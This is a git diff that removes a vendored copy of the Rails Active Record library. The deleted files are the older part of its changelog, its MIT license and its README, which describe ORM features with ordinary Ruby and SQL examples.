-* Removed RubyGems backup strategy for requiring SQLite-adapter -- if people want to use gems, they're already doing it with AR.
-
-
-*1.0.0 (35)*
-
-* Added OO-style associations methods [Florian Weber]. Examples:
-
-    Project#milestones_count       => Project#milestones.size
-    Project#build_to_milestones    => Project#milestones.build
-    Project#create_for_milestones  => Project#milestones.create
-    Project#find_in_milestones     => Project#milestones.find
-    Project#find_all_in_milestones => Project#milestones.find_all
-
-* Added serialize as a new class method to control when text attributes should be YAMLized or not. This means that automated
-  serialization of hashes, arrays, and so on WILL NO LONGER HAPPEN (#10). You need to do something like this:
-  
-    class User < ActiveRecord::Base
-      serialize :settings
-    end
-  
-  This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
-  an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
-  the hierarchy. Example:
-  
-    class User < ActiveRecord::Base
-      serialize :settings, :class_name => "Hash"
-    end
-  
-    user = User.create("settings" => %w( one two three ))
-    User.find(user.id).settings # => raises SerializationTypeMismatch
-
-* Added the option to connect to a different database for one model at a time. Just call establish_connection on the class
-  you want to have connected to another database than Base. This will automatically also connect decendents of that class
-  to the different database [Renald Buter].
-
-* Added transactional protection for Base#save. Validations can now check for values knowing that it happens in a transaction and callbacks
-  can raise exceptions knowing that the save will be rolled back. [Suggested by Alexey Verkhovsky]
-
-* Added column name quoting so reserved words, such as "references", can be used as column names [Ryan Platte]
-
-* Added the possibility to chain the return of what happened inside a logged block [geech]:
-
-    This now works: 
-      log { ... }.map { ... }
-
-    Instead of doing:
-      result = []
-      log { result = ... }
-      result.map { ... }
-
-* Added "socket" option for the MySQL adapter, so you can change it to something else than "/tmp/mysql.sock" [Anna Lissa Cruz]
-
-* Added respond_to? answers for all the attribute methods. So if Person has a name attribute retrieved from the table schema, 
-  person.respond_to? "name" will return true.
-
-* Added Base.benchmark which can be used to aggregate logging and benchmark, so you can measure and represent multiple statements in a single block.
-  Usage (hides all the SQL calls for the individual actions and calculates total runtime for them all):
-
-    Project.benchmark("Creating project") do
-      project = Project.create("name" => "stuff")
-      project.create_manager("name" => "David")
-      project.milestones << Milestone.find_all
-    end
-
-* Added logging of invalid SQL statements [Daniel Von Fange]
-
-* Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name [Andreas Schwarz]
-
-* Added RubyGems require attempt if sqlite-ruby is not available through regular methods.
-
-* Added compatibility with 2.x series of sqlite-ruby drivers. [Jamis Buck]
-
-* Added type safety for association assignments, so a ActiveRecord::AssociationTypeMismatch will be raised if you attempt to
-  assign an object that's not of the associated class. This cures the problem with nil giving id = 4 and fixnums giving id = 1 on 
-  mistaken association assignments. [Reported by Andreas Schwarz]
-
-* Added the option to keep many fixtures in one single YAML document [what-a-day]
-
-* Added the class method "inheritance_column" that can be overwritten to return the name of an alternative column than "type" for storing
-  the type for inheritance hierarchies. [Dave Steinberg]
-
-* Added [] and []= as an alternative way to access attributes when the regular methods have been overwritten [Dave Steinberg]
-
-* Added the option to observer more than one class at the time by specifying observed_class as an array
-
-* Added auto-id propagation support for tables with arbitrary primary keys that have autogenerated sequences associated with them 
-  on PostgreSQL. [Dave Steinberg]
-
-* Changed that integer and floats set to "" through attributes= remain as NULL. This was especially a problem for scaffolding and postgresql. (#49)
-
-* Changed the MySQL Adapter to rely on MySQL for its defaults for socket, host, and port [Andreas Schwarz]
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Changed class inheritable attributes to not use eval [Caio Chassot]
-
-* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those [Marcel Molina Jr.]
-
-* Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) [Marcel Molina Jr.]
-
-* Fixed that entries in the has_and_belongs_to_many join table didn't get removed when an associated object was destroyed.
-
-* Fixed unnecessary calls to SET AUTOCOMMIT=0/1 for MySQL adapter [Andreas Schwarz]
-
-* Fixed PostgreSQL defaults are now handled gracefully [Dave Steinberg]
-
-* Fixed increment/decrement_counter are now atomic updates [Andreas Schwarz]
-
-* Fixed the problems the Inflector had turning Attachment into attuchments and Cases into Casis [radsaq/Florian Gross]
-
-* Fixed that cloned records would point attribute references on the parent object [Andreas Schwarz]
-
-* Fixed SQL for type call on inheritance hierarchies [Caio Chassot]
-
-* Fixed bug with typed inheritance [Florian Weber]
-
-* Fixed a bug where has_many collection_count wouldn't use the conditions specified for that association
-
-
-*0.9.5*
-
-* Expanded the table_name guessing rules immensely [Florian Green]. Documentation:
-
-    Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
-    directly from ActiveRecord. So if the hierarchy looks like: Reply < Message < ActiveRecord, then Message is used
-    to guess the table name from even when called on Reply. The guessing rules are as follows:
-    * Class name ends in "x", "ch" or "ss": "es" is appended, so a Search class becomes a searches table.
-    * Class name ends in "y" preceded by a consonant or "qu": The "y" is replaced with "ies", 
-      so a Category class becomes a categories table. 
-    * Class name ends in "fe": The "fe" is replaced with "ves", so a Wife class becomes a wives table.
-    * Class name ends in "lf" or "rf": The "f" is replaced with "ves", so a Half class becomes a halves table.
-    * Class name ends in "person": The "person" is replaced with "people", so a Salesperson class becomes a salespeople table.
-    * Class name ends in "man": The "man" is replaced with "men", so a Spokesman class becomes a spokesmen table.
-    * Class name ends in "sis": The "i" is replaced with an "e", so a Basis class becomes a bases table.
-    * Class name ends in "tum" or "ium": The "um" is replaced with an "a", so a Datum class becomes a data table.
-    * Class name ends in "child": The "child" is replaced with "children", so a NodeChild class becomes a node_children table.
-    * Class name ends in an "s": No additional characters are added or removed.
-    * Class name doesn't end in "s": An "s" is appended, so a Comment class becomes a comments table.
-    * Class name with word compositions: Compositions are underscored, so CreditCard class becomes a credit_cards table.
-    Additionally, the class-level table_name_prefix is prepended to the table_name and the table_name_suffix is appended.
-    So if you have "myapp_" as a prefix, the table name guess for an Account class becomes "myapp_accounts".
-    
-    You can also overwrite this class method to allow for unguessable links, such as a Mouse class with a link to a
-    "mice" table. Example:
-    
-      class Mouse < ActiveRecord::Base
-         def self.table_name() "mice" end
-      end
-  
-  This conversion is now done through an external class called Inflector residing in lib/active_record/support/inflector.rb.
-
-* Added find_all_in_collection to has_many defined collections. Works like this:
-
-    class Firm < ActiveRecord::Base
-      has_many :clients
-    end
-    
-    firm.id # => 1
-    firm.find_all_in_clients "revenue > 1000" # SELECT * FROM clients WHERE firm_id = 1 AND revenue > 1000
-
-  [Requested by Dave Thomas]
-
-* Fixed finders for inheritance hierarchies deeper than one level [Florian Weber]
-
-* Added add_on_boundry_breaking to errors to accompany add_on_empty as a default validation method. It's used like this:
-
-    class Person < ActiveRecord::Base
-      protected
-        def validation
-          errors.add_on_boundry_breaking "password", 3..20
-        end
-    end
-    
-  This will add an error to the tune of "is too short (minimum is 3 characters)" or "is too long (minimum is 20 characters)" if
-  the password is outside the boundry. The messages can be changed by passing a third and forth parameter as message strings.
-
-* Implemented a clone method that works properly with AR. It returns a clone of the record that 
-  hasn't been assigned an id yet and is treated as a new record.
-
-* Allow for domain sockets in PostgreSQL by not assuming localhost when no host is specified [Scott Barron]
-
-* Fixed that bignums are saved properly instead of attempted to be YAMLized [Andreas Schwartz]
-
-* Fixed a bug in the GEM where the rdoc options weren't being passed according to spec [Chad Fowler]
-
-* Fixed a bug with the exclusively_dependent option for has_many
-
-
-*0.9.4*
-
-* Correctly guesses the primary key when the class is inside a module [Dave Steinberg].
-
-* Added [] and []= as alternatives to read_attribute and write_attribute [Dave Steinberg]
-
-* has_and_belongs_to_many now accepts an :order key to determine in which order the collection is returned [radsaq].
-
-* The ids passed to find and find_on_conditions are now automatically sanitized.
-
-* Added escaping of plings in YAML content.
-
-* Multi-parameter assigns where all the parameters are empty will now be set to nil instead of a new instance of their class.
-
-* Proper type within an inheritance hierarchy is now ensured already at object initialization (instead of first at create)
-
-
-*0.9.3*
-
-* Fixed bug with using a different primary key name together with has_and_belongs_to_many [Investigation by Scott] 
-
-* Added :exclusively_dependent option to the has_many association macro. The doc reads:
-
-    If set to true all the associated object are deleted in one SQL statement without having their
-    before_destroy callback run. This should only be used on associations that depend solely on 
-    this class and don't need to do any clean-up in before_destroy. The upside is that it's much
-    faster, especially if there's a counter_cache involved.
-
-* Added :port key to connection options, so the PostgreSQL and MySQL adapters can connect to a database server
-  running on another port than the default.
-
-* Converted the new natural singleton methods that prevented AR objects from being saved by PStore
-  (and hence be placed in a Rails session) to a module. [Florian Weber]
-
-* Fixed the use of floats (was broken since 0.9.0+)
-
-* Fixed PostgreSQL adapter so default values are displayed properly when used in conjunction with 
-  Action Pack scaffolding.
-
-* Fixed booleans support for PostgreSQL (use real true/false on boolean fields instead of 0/1 on tinyints) [radsaq]
-
-
-*0.9.2*
-
-* Added static method for instantly updating a record
-
-* Treat decimal and numeric as Ruby floats [Andreas Schwartz]
-
-* Treat chars as Ruby strings (fixes problem for Action Pack form helpers too)
-
-* Removed debugging output accidently left in (which would screw web applications)
-
-
-*0.9.1*
-
-* Added MIT license
-
-* Added natural object-style assignment for has_and_belongs_to_many associations. Consider the following model:
-
-    class Event < ActiveRecord::Base
-      has_one_and_belongs_to_many :sponsors
-    end
-    
-    class Sponsor < ActiveRecord::Base
-      has_one_and_belongs_to_many :sponsors
-    end
-
-  Earlier, you'd have to use synthetic methods for creating associations between two objects of the above class:
-  
-    roskilde_festival.add_to_sponsors(carlsberg)
-    roskilde_festival.remove_from_sponsors(carlsberg)
-
-    nike.add_to_events(world_cup)
-    nike.remove_from_events(world_cup)
-    
-  Now you can use regular array-styled methods:
-  
-    roskilde_festival.sponsors << carlsberg
-    roskilde_festival.sponsors.delete(carlsberg)
-
-    nike.events << world_cup
-    nike.events.delete(world_cup)
-
-* Added delete method for has_many associations. Using this will nullify an association between the has_many and the belonging
-  object by setting the foreign key to null. Consider this model:
-  
-    class Post < ActiveRecord::Base
-      has_many :comments
-    end
-
-    class Comment < ActiveRecord::Base
-      belongs_to :post
-    end
-
-  You could do something like:
-
-    funny_comment.has_post? # => true
-    announcement.comments.delete(funny_comment)
-    funny_comment.has_post? # => false
-
-
-*0.9.0*
-
-* Active Record is now thread safe! (So you can use it with Cerise and WEBrick applications)
-  [Implementation idea by Michael Neumann, debugging assistance by Jamis Buck]
-
-* Improved performance by roughly 400% on a basic test case of pulling 100 records and querying one attribute. 
-  This brings the tax for using Active Record instead of "riding on the metal" (using MySQL-ruby C-driver directly) down to ~50%.
-  Done by doing lazy type conversions and caching column information on the class-level.
-
-* Added callback objects and procs as options for implementing the target for callback macros.
-
-* Added "counter_cache" option to belongs_to that automates the usage of increment_counter and decrement_counter. Consider:
-
-    class Post < ActiveRecord::Base
-      has_many :comments
-    end
-
-    class Comment < ActiveRecord::Base
-      belongs_to :post
-    end
-
-  Iterating over 100 posts like this:
-  
-    <% for post in @posts %>
-      <%= post.title %> has <%= post.comments_count %> comments
-    <% end %>
-    
-  Will generate 100 SQL count queries -- one for each call to post.comments_count. If you instead add a "comments_count" int column
-  to the posts table and rewrite the comments association macro with:
-
-    class Comment < ActiveRecord::Base
-      belongs_to :post, :counter_cache => true
-    end
-  
-  Those 100 SQL count queries will be reduced to zero. Beware that counter caching is only appropriate for objects that begin life
-  with the object it's specified to belong with and is destroyed like that as well. Typically objects where you would also specify
-  :dependent => true. If your objects switch from one belonging to another (like a post that can be move from one category to another),
-  you'll have to manage the counter yourself. 
-
-* Added natural object-style assignment for has_one and belongs_to associations. Consider the following model:
-
-    class Project < ActiveRecord::Base
-      has_one :manager
-    end
-    
-    class Manager < ActiveRecord::Base
-      belongs_to :project
-    end
-  
-  Earlier, assignments would work like following regardless of which way the assignment told the best story:
-  
-    active_record.manager_id = david.id
-  
-  Now you can do it either from the belonging side:
-
-    david.project = active_record
-  
-  ...or from the having side:
-  
-    active_record.manager = david
-  
-  If the assignment happens from the having side, the assigned object is automatically saved. So in the example above, the 
-  project_id attribute on david would be set to the id of active_record, then david would be saved.
-
-* Added natural object-style assignment for has_many associations [Florian Weber]. Consider the following model:
-
-    class Project < ActiveRecord::Base
-      has_many :milestones
-    end
-    
-    class Milestone < ActiveRecord::Base
-      belongs_to :project
-    end
-  
-  Earlier, assignments would work like following regardless of which way the assignment told the best story:
-  
-    deadline.project_id = active_record.id
-  
-  Now you can do it either from the belonging side:
-
-    deadline.project = active_record
-  
-  ...or from the having side:
-  
-    active_record.milestones << deadline
-  
-  The milestone is automatically saved with the new foreign key.
-
-* API CHANGE: Attributes for text (or blob or similar) columns will now have unknown classes stored using YAML instead of using
-  to_s. (Known classes that won't be yamelized are: String, NilClass, TrueClass, FalseClass, Fixnum, Date, and Time).
-  Likewise, data pulled out of text-based attributes will be attempted converged using Yaml if they have the "--- " header.
-  This was primarily done to be enable the storage of hashes and arrays without wrapping them in aggregations, so now you can do:
-  
-    user = User.find(1)
-    user.preferences = { "background" => "black", "display" => large }
-    user.save
-    
-    User.find(1).preferences # => { "background" => "black", "display" => large }
-  
-  Please note that this method should only be used when you don't care about representing the object in proper columns in
-  the database. A money object consisting of an amount and a currency is still a much better fit for a value object done through
-  aggregations than this new option.
-
-* POSSIBLE CODE BREAKAGE: As a consequence of the lazy type conversions, it's a bad idea to reference the @attributes hash
-  directly (it always was, but now it's paramount that you don't). If you do, you won't get the type conversion. So to implement
-  new accessors for existing attributes, use read_attribute(attr_name) and write_attribute(attr_name, value) instead. Like this:
-  
-    class Song < ActiveRecord::Base
-      # Uses an integer of seconds to hold the length of the song
-      
-      def length=(minutes)
-        write_attribute("length", minutes * 60)
-      end
-      
-      def length
-        read_attribute("length") / 60
-      end
-    end
-
-  The clever kid will notice that this opens a door to sidestep the automated type conversion by using @attributes directly.
-  This is not recommended as read/write_attribute may be granted additional responsibilities in the future, but if you think
-  you know what you're doing and aren't afraid of future consequences, this is an option.
-
-* Applied a few minor bug fixes reported by Daniel Von Fange.
-
-
-*0.8.4*
-
-_Reflection_
-
-* Added ActiveRecord::Reflection with a bunch of methods and classes for reflecting in aggregations and associations.
-
-* Added Base.columns and Base.content_columns which returns arrays of column description (type, default, etc) objects.
-
-* Added Base#attribute_names which returns an array of names for the attributes available on the object.
-
-* Added Base#column_for_attribute(name) which returns the column description object for the named attribute.
-
-
-_Misc_
-
-* Added multi-parameter assignment:
-
-    # Instantiate objects for all attribute classes that needs more than one constructor parameter. This is done
-    # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
-    # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
-    # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
-    # parenteses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
-    # s for String, and a for Array.
-  
-  This is incredibly useful for assigning dates from HTML drop-downs of month, year, and day.
-
-* Fixed bug with custom primary key column name and Base.find on multiple parameters.
-
-* Fixed bug with dependent option on has_one associations if there was no associated object.
-
-
-*0.8.3*
-
-_Transactions_
-
-* Added transactional protection for destroy (important for the new :dependent option) [Suggested by Carl Youngblood]
-
-* Fixed so transactions are ignored on MyISAM tables for MySQL (use InnoDB to get transactions)
-
-* Changed transactions so only exceptions will cause a rollback, not returned false.
-
-
-_Mapping_
-
-* Added support for non-integer primary keys [Aredridel/earlier work by Michael Neumann]
-  
-    User.find "jdoe"
-    Product.find "PDKEY-INT-12"
-
-* Added option to specify naming method for primary key column. ActiveRecord::Base.primary_key_prefix_type can either
-  be set to nil, :table_name, or :table_name_with_underscore. :table_name will assume that Product class has a primary key
-  of "productid" and :table_name_with_underscore will assume "product_id". The default nil will just give "id".
-    
-* Added an overwriteable primary_key method that'll instruct AR to the name of the 
-  id column [Aredridele/earlier work by Guan Yang]
-    
-    class Project < ActiveRecord::Base
-      def self.primary_key() "project_id" end
-    end
-
-* Fixed that Active Records can safely associate inside and out of modules.
-
-    class MyApplication::Account < ActiveRecord::Base
-      has_many :clients # will look for MyApplication::Client
-      has_many :interests, :class_name => "Business::Interest" # will look for Business::Interest
-    end
-
-* Fixed that Active Records can safely live inside modules [Aredridel]
-
-    class MyApplication::Account < ActiveRecord::Base
-    end
-
-
-_Misc_
-
-* Added freeze call to value object assignments to ensure they remain immutable [Spotted by Gavin Sinclair]
- 
-* Changed interface for specifying observed class in observers. Was OBSERVED_CLASS constant, now is 
-  observed_class() class method. This is more consistant with things like self.table_name(). Works like this:
-
-    class AuditObserver < ActiveRecord::Observer
-      def self.observed_class() Account end
-      def after_update(account)
-        AuditTrail.new(account, "UPDATED")
-      end
-    end
-
-  [Suggested by Gavin Sinclair]
-
-* Create new Active Record objects by setting the attributes through a block. Like this:
-
-    person = Person.new do |p|
-      p.name = 'Freddy'
-      p.age  = 19
-    end
-
-  [Suggested by Gavin Sinclair]
-
-
-*0.8.2*
-
-* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
-  run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
-  method:
-  
-    class Topic < ActiveRecord::Base
-      before_destroy :destroy_author, 'puts "I'm an inline fragment"'
-    end
-  
-  Learn more in link:classes/ActiveRecord/Callbacks.html
-
-* Added :dependent option to has_many and has_one, which will automatically destroy associated objects when 
-  the holder is destroyed:
-  
-    class Album < ActiveRecord::Base
-      has_many :tracks, :dependent => true
-    end
-    
-  All the associated tracks are destroyed when the album is.
-
-* Added Base.create as a factory that'll create, save, and return a new object in one step.
-
-* Automatically convert strings in config hashes to symbols for the _connection methods. This allows you
-  to pass the argument hashes directly from yaml. (Luke)
-
-* Fixed the install.rb to include simple.rb [Spotted by Kevin Bullock]
-
-* Modified block syntax to better follow our code standards outlined in 
-  http://www.rubyonrails.org/CodingStandards
-
-
-*0.8.1*
-
-* Added object-level transactions [Austin Ziegler]
-
-* Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
-  which is parametized through a config hash with symbol keys instead of a regular parameter list.
-  This will allow for database connections to be opened in a more generic fashion. (Luke)
-  
-  NOTE: This requires all *_connections to be updated! Read more in:
-  http://ar.rubyonrails.org/classes/ActiveRecord/Base.html#M000081
-
-* Fixed SQLite adapter so objects fetched from has_and_belongs_to_many have proper attributes
-  (t.name is now name). [Spotted by Garrett Rooney]
-
-* Fixed SQLite adapter so dates are returned as Date objects, not Time objects [Spotted by Gavin Sinclair]
-
-* Fixed requirement of date class, so date conversions are succesful regardless of whether you 
-  manually require date or not.
-
-
-*0.8.0*
-
-* Added transactions
-
-* Changed Base.find to also accept either a list (1, 5, 6) or an array of ids ([5, 7]) 
-  as parameter and then return an array of objects instead of just an object
-
-* Fixed method has_collection? for has_and_belongs_to_many macro to behave as a 
-  collection, not an association
-
-* Fixed SQLite adapter so empty or nil values in columns of datetime, date, or time type
-  aren't treated as current time [Spotted by Gavin Sinclair]
-
-
-*0.7.6*
-
-* Fixed the install.rb to create the lib/active_record/support directory [Spotted by Gavin Sinclair]
-* Fixed that has_association? would always return true [Daniel Von Fange]
diff --git a/vendor/rails/activerecord/MIT-LICENSE b/vendor/rails/activerecord/MIT-LICENSE
deleted file mode 100644
index 86bcb23b..00000000
--- a/vendor/rails/activerecord/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2004-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/rails/activerecord/README b/vendor/rails/activerecord/README
deleted file mode 100644
index d68eb28a..00000000
--- a/vendor/rails/activerecord/README
+++ /dev/null
@@ -1,351 +0,0 @@
-= Active Record -- Object-relation mapping put on rails
-
-Active Record connects business objects and database tables to create a persistable
-domain model where logic and data are presented in one wrapping. It's an implementation 
-of the object-relational mapping (ORM) pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] 
-by the same name as described by Martin Fowler:
-
-  "An object that wraps a row in a database table or view, encapsulates 
-       the database access, and adds domain logic on that data."
-
-Active Record's main contribution to the pattern is to relieve the original of two stunting problems:
-lack of associations and inheritance. By adding a simple domain language-like set of macros to describe
-the former and integrating the Single Table Inheritance pattern for the latter, Active Record narrows the
-gap of functionality between the data mapper and active record approach.
-
-A short rundown of the major features:
-
-* Automated mapping between classes and tables, attributes and columns.
-
-   class Product < ActiveRecord::Base; end
-   
-   ...is automatically mapped to the table named "products", such as:
-   
-   CREATE TABLE products (
-     id int(11) NOT NULL auto_increment,
-     name varchar(255),
-     PRIMARY KEY  (id)
-   );
-
-   ...which again gives Product#name and Product#name=(new_name) 
-   
-  {Learn more}[link:classes/ActiveRecord/Base.html]
-
-
-* Associations between objects controlled by simple meta-programming macros. 
-
-   class Firm < ActiveRecord::Base
-     has_many   :clients
-     has_one    :account
-     belongs_to :conglomorate
-   end
-
-  {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
-
-
-* Aggregations of value objects controlled by simple meta-programming macros. 
-
-   class Account < ActiveRecord::Base
-     composed_of :balance, :class_name => "Money",
-                 :mapping => %w(balance amount)
-     composed_of :address, 
-                 :mapping => [%w(address_street street), %w(address_city city)]
-   end
-
-  {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
-
-
-* Validation rules that can differ for new or existing objects.
-
-    class Account < ActiveRecord::Base
-      validates_presence_of     :subdomain, :name, :email_address, :password
-      validates_uniqueness_of   :subdomain
-      validates_acceptance_of   :terms_of_service, :on => :create
-      validates_confirmation_of :password, :email_address, :on => :create
-    end
-
-  {Learn more}[link:classes/ActiveRecord/Validations.html]
- 
-* Callbacks as methods or queues on the entire lifecycle (instantiation, saving, destroying, validating, etc).
-
-   class Person < ActiveRecord::Base
-     def before_destroy # is called just before Person#destroy
-       CreditCard.find(credit_card_id).destroy
-     end
-   end
-
-   class Account < ActiveRecord::Base
-     after_find :eager_load, 'self.class.announce(#{id})'
-   end
-
-  {Learn more}[link:classes/ActiveRecord/Callbacks.html]
-
-
-* Observers for the entire lifecycle
-
-   class CommentObserver < ActiveRecord::Observer
-     def after_create(comment) # is called just after Comment#save
-       Notifications.deliver_new_comment("david@loudthinking.com", comment)
-     end
-   end
-
-  {Learn more}[link:classes/ActiveRecord/Observer.html]
-
-
-* Inheritance hierarchies 
-
-   class Company < ActiveRecord::Base; end
-   class Firm < Company; end
-   class Client < Company; end
-   class PriorityClient < Client; end
-
-  {Learn more}[link:classes/ActiveRecord/Base.html]
-
-
-* Transactions
-
-    # Database transaction
-    Account.transaction do
-      david.withdrawal(100)
-      mary.deposit(100)
-    end
-
-  {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html]
-
-
-* Reflections on columns, associations, and aggregations
-
-    reflection = Firm.reflect_on_association(:clients)
-    reflection.klass # => Client (class)
-    Firm.columns # Returns an array of column descriptors for the firms table
-
-  {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html]
-
-
-* Direct manipulation (instead of service invocation)
-
-  So instead of (Hibernate[http://www.hibernate.org/] example):
-
-     long pkId = 1234;
-     DomesticCat pk = (DomesticCat) sess.load( Cat.class, new Long(pkId) );
-     // something interesting involving a cat...
-     sess.save(cat);
-     sess.flush(); // force the SQL INSERT
-
-  Active Record lets you:
-
-     pkId = 1234
-     cat = Cat.find(pkId)
-     # something even more interesting involving the same cat...
-     cat.save
-
-  {Learn more}[link:classes/ActiveRecord/Base.html]
-
-
-* Database abstraction through simple adapters (~100 lines) with a shared connector
-
-   ActiveRecord::Base.establish_connection(:adapter => "sqlite", :database => "dbfile")
-
-   ActiveRecord::Base.establish_connection(
-     :adapter  => "mysql", 
-     :host     => "localhost", 
-     :username => "me", 
-     :password => "secret", 
-     :database => "activerecord"
-   )
-
-  {Learn more}[link:classes/ActiveRecord/Base.html#M000081] and read about the built-in support for
-  MySQL[link:classes/ActiveRecord/ConnectionAdapters/MysqlAdapter.html], PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], SQLite[link:classes/ActiveRecord/ConnectionAdapters/SQLiteAdapter.html], Oracle[link:classes/ActiveRecord/ConnectionAdapters/OracleAdapter.html], SQLServer[link:classes/ActiveRecord/ConnectionAdapters/SQLServerAdapter.html], and DB2[link:classes/ActiveRecord/ConnectionAdapters/DB2Adapter.html].
-
-
-* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc]
-
-    ActiveRecord::Base.logger = Logger.new(STDOUT)
-    ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-
-
-* Database agnostic schema management with Migrations
-
-    class AddSystemSettings < ActiveRecord::Migration
-      def self.up
-        create_table :system_settings do |t|
-          t.string :name
-          t.string :label
-          t.text :value
-          t.string :type
-          t.integer  :position
-        end
-
-        SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
-      end
-
-      def self.down
-        drop_table :system_settings
-      end
-    end
-
-  {Learn more}[link:classes/ActiveRecord/Migration.html]
-
-== Simple example (1/2): Defining tables and classes (using MySQL)
-
-Data definitions are specified only in the database. Active Record queries the database for 
-the column names (that then serves to determine which attributes are valid) on regular
-object instantiation through the new constructor and relies on the column names in the rows
-with the finders.
- 
-   # CREATE TABLE companies (
-   #   id int(11) unsigned NOT NULL auto_increment,
-   #   client_of int(11),
-   #   name varchar(255),
-   #   type varchar(100),
-   #   PRIMARY KEY  (id)
-   # )
-
-Active Record automatically links the "Company" object to the "companies" table
-
-   class Company < ActiveRecord::Base
-     has_many :people, :class_name => "Person"
-   end
-
-   class Firm < Company
-     has_many :clients
-  
-     def people_with_all_clients
-      clients.inject([]) { |people, client| people + client.people }
-     end
-   end
-
-The foreign_key is only necessary because we didn't use "firm_id" in the data definition
- 
-   class Client < Company
-     belongs_to :firm, :foreign_key => "client_of"
-   end
-
-   # CREATE TABLE people (
-   #   id int(11) unsigned NOT NULL auto_increment,
-   #   name text,
-   #   company_id text,
-   #   PRIMARY KEY  (id)
-   # )
-
-Active Record will also automatically link the "Person" object to the "people" table
-
-   class Person < ActiveRecord::Base
-     belongs_to :company
-   end
-
-== Simple example (2/2): Using the domain
-
-Picking a database connection for all the Active Records
-
-   ActiveRecord::Base.establish_connection(
-     :adapter  => "mysql", 
-     :host     => "localhost", 
-     :username => "me", 
-     :password => "secret", 
-     :database => "activerecord"
-   )
-
-Create some fixtures
-
-   firm = Firm.new("name" => "Next Angle")
-   # SQL: INSERT INTO companies (name, type) VALUES("Next Angle", "Firm")
-   firm.save
-
-   client = Client.new("name" => "37signals", "client_of" => firm.id)
-   # SQL: INSERT INTO companies (name, client_of, type) VALUES("37signals", 1, "Firm")
-   client.save
-
-Lots of different finders
-
-   # SQL: SELECT * FROM companies WHERE id = 1
-   next_angle = Company.find(1)
-
-   # SQL: SELECT * FROM companies WHERE id = 1 AND type = 'Firm'
-   next_angle = Firm.find(1)    
-
-   # SQL: SELECT * FROM companies WHERE id = 1 AND name = 'Next Angle'
-   next_angle = Company.find(:first, :conditions => "name = 'Next Angle'")
-
-   next_angle = Firm.find_by_sql("SELECT * FROM companies WHERE id = 1").first
-
-The supertype, Company, will return subtype instances
-
-   Firm === next_angle
-
-All the dynamic methods added by the has_many macro
-
-  next_angle.clients.empty?  # true
-  next_angle.clients.size    # total number of clients
-  all_clients = next_angle.clients
-
-Constrained finds makes access security easier when ID comes from a web-app
-
-   # SQL: SELECT * FROM companies WHERE client_of = 1 AND type = 'Client' AND id = 2
-   thirty_seven_signals = next_angle.clients.find(2)
-
-Bi-directional associations thanks to the "belongs_to" macro
-
-   thirty_seven_signals.firm.nil? # true
-
-
-== Philosophy 
-
-Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is 
-object-relational mapping. The prime directive for this mapping has been to minimize
-the amount of code needed to build a real-world domain model. This is made possible
-by relying on a number of conventions that make it easy for Active Record to infer
-complex relations and structures from a minimal amount of explicit direction.
-
-Convention over Configuration:
-* No XML-files!
-* Lots of reflection and run-time extension
-* Magic is not inherently a bad word 
-
-Admit the Database:
-* Lets you drop down to SQL for odd cases and performance
-* Doesn't attempt to duplicate or replace data definitions
-
-
-== Download
-
-The latest version of Active Record can be found at
-
-* http://rubyforge.org/project/showfiles.php?group_id=182
-
-Documentation can be found at 
-
-* http://ar.rubyonrails.com
-
-
-== Installation
-
-The prefered method of installing Active Record is through its GEM file. You'll need to have
-RubyGems[http://rubygems.rubyforge.org/wiki/wiki.pl] installed for that, though. If you have,
-then use:
-
-  % [sudo] gem install activerecord-1.10.0.gem
-
-You can also install Active Record the old-fashioned way with the following command:
-
-  % [sudo] ruby install.rb
-
-from its distribution directory.
-
-
-== License
-
-Active Record is released under the MIT license.
-
-
-== Support
-
-The Active Record homepage is http://www.rubyonrails.com. You can find the Active Record
-RubyForge page at http://rubyforge.org/projects/activerecord. And as Jim from Rake says:
-
-   Feel free to submit commits or feature requests.  If you send a patch,
-   remember to update the corresponding unit tests.  If fact, I prefer
-   new feature to be submitted in the form of new unit tests.
-
